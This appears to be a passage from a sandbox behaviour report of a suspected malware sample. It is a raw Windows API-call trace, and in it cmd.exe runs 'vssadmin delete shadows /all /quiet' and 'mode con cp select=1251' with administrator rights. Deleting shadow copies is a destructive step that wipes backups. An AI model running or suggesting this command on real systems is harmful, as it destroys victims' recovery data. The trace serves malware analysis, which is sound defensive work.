lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.834] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.834] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0032.834] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.834] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.835] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.835] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0032.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.835] GetFileType (hFile=0xe8) returned 0x3 [0032.835] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.835] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.835] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.835] GetFileType (hFile=0xf4) returned 0x3 [0032.835] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.835] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0032.835] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1df6c8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df6c8*=0x24, lpOverlapped=0x0) returned 1 [0032.835] GetProcessHeap () returned 0x300000 [0032.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4012) returned 0x31f630 [0032.835] GetProcessHeap () returned 0x300000 [0032.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31f630 | out: hHeap=0x300000) returned 1 [0032.835] GetProcessHeap () returned 0x300000 [0032.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb0) returned 0x3197e0 [0032.835] GetProcessHeap () returned 0x300000 [0032.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x22) returned 0x314610 [0032.836] GetProcessHeap () returned 0x300000 [0032.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x48) returned 0x31aa90 [0032.836] GetConsoleOutputCP () returned 0x4e3 [0032.836] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a2abfe0 | out: lpCPInfo=0x4a2abfe0) returned 1 [0032.836] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.837] GetConsoleTitleW (in: lpConsoleTitle=0x1df680, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x218) returned 0x319910 [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5a) returned 0x319b30 [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x420) returned 0x319090 [0032.837] SetErrorMode (uMode=0x0) returned 0x0 [0032.837] SetErrorMode (uMode=0x1) returned 0x0 [0032.837] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3190a0, lpFilePart=0x1def10 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1def10*="Desktop") returned 0x25 [0032.837] SetErrorMode (uMode=0x0) returned 0x1 [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x319090, Size=0x6e) returned 0x319090 [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x319090) returned 0x6e [0032.837] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0032.837] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x128) returned 0x315b70 [0032.837] GetProcessHeap () returned 0x300000 [0032.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0x301ab0 [0032.837] GetProcessHeap () returned 0x300000 [0032.838] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x301ab0, Size=0x12a) returned 0x301ab0 [0032.838] GetProcessHeap () returned 0x300000 [0032.838] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x301ab0) returned 0x12a [0032.838] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0032.838] GetProcessHeap () returned 0x300000 [0032.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe8) returned 0x319db0 [0032.838] GetProcessHeap () returned 0x300000 [0032.838] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x319db0, Size=0x7e) returned 0x319db0 [0032.838] GetProcessHeap () returned 0x300000 [0032.838] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x319db0) returned 0x7e [0032.838] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.838] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0xffffffffffffffff [0032.838] GetLastError () returned 0x2 [0032.838] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0xffffffffffffffff [0032.838] GetLastError () returned 0x2 [0032.838] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.838] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0x319ba0 [0032.838] FindClose (in: hFindFile=0x319ba0 | out: hFindFile=0x319ba0) returned 1 [0032.839] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0xffffffffffffffff [0032.839] GetLastError () returned 0x2 [0032.839] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1dec80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dec80) returned 0x319ba0 [0032.839] FindClose (in: hFindFile=0x319ba0 | out: hFindFile=0x319ba0) returned 1 [0032.839] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0032.839] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0032.839] GetConsoleTitleW (in: lpConsoleTitle=0x1df1d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.839] GetProcessHeap () returned 0x300000 [0032.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x21c) returned 0x319110 [0032.839] GetConsoleTitleW (in: lpConsoleTitle=0x319120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.839] GetProcessHeap () returned 0x300000 [0032.839] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x319110, Size=0xc0) returned 0x319110 [0032.839] GetProcessHeap () returned 0x300000 [0032.839] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x319110) returned 0xc0 [0032.839] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0032.840] GetProcessHeap () returned 0x300000 [0032.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x319110 | out: hHeap=0x300000) returned 1 [0032.840] InitializeProcThreadAttributeList (in: lpAttributeList=0x1def88, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1def48 | out: lpAttributeList=0x1def88, lpSize=0x1def48) returned 1 [0032.840] UpdateProcThreadAttribute (in: lpAttributeList=0x1def88, dwFlags=0x0, Attribute=0x60001, lpValue=0x1def38, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1def88, lpPreviousValue=0x0) returned 1 [0032.840] GetStartupInfoW (in: lpStartupInfo=0x1df0a0 | out: lpStartupInfo=0x1df0a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0032.840] GetProcessHeap () returned 0x300000 [0032.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x314640 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0032.840] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.841] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.841] GetProcessHeap () returned 0x300000 [0032.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314640 | out: hHeap=0x300000) returned 1 [0032.841] GetProcessHeap () returned 0x300000 [0032.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x318900 [0032.841] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1defc0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1def70 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1def70*(hProcess=0x50, hThread=0x54, dwProcessId=0xa14, dwThreadId=0xa18)) returned 1 [0032.848] CloseHandle (hObject=0x54) returned 1 [0032.849] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0032.849] GetProcessHeap () returned 0x300000 [0032.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31eb10 | out: hHeap=0x300000) returned 1 [0032.849] GetEnvironmentStringsW () returned 0x31eb10* [0032.849] GetProcessHeap () returned 0x300000 [0032.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb0e) returned 0x31f630 [0032.849] FreeEnvironmentStringsW (penv=0x31eb10) returned 1 [0032.849] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1de878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1de878, ReturnLength=0x0) returned 0x0 [0032.849] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x1de8b0, nSize=0x380, lpNumberOfBytesRead=0x1de870 | out: lpBuffer=0x1de8b0*, lpNumberOfBytesRead=0x1de870*=0x380) returned 1 [0032.849] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4d135000" os_pid = "0xa04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9b4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 17 os_tid = 0xa08 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4d446000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9b4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0xa18 Thread: id = 21 os_tid = 0xa1c Thread: id = 22 os_tid = 0xa20 Thread: id = 23 os_tid = 0xa24 Thread: id = 24 os_tid = 0xa28 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x49573000" os_pid = "0xa2c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xa14" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00079efd" 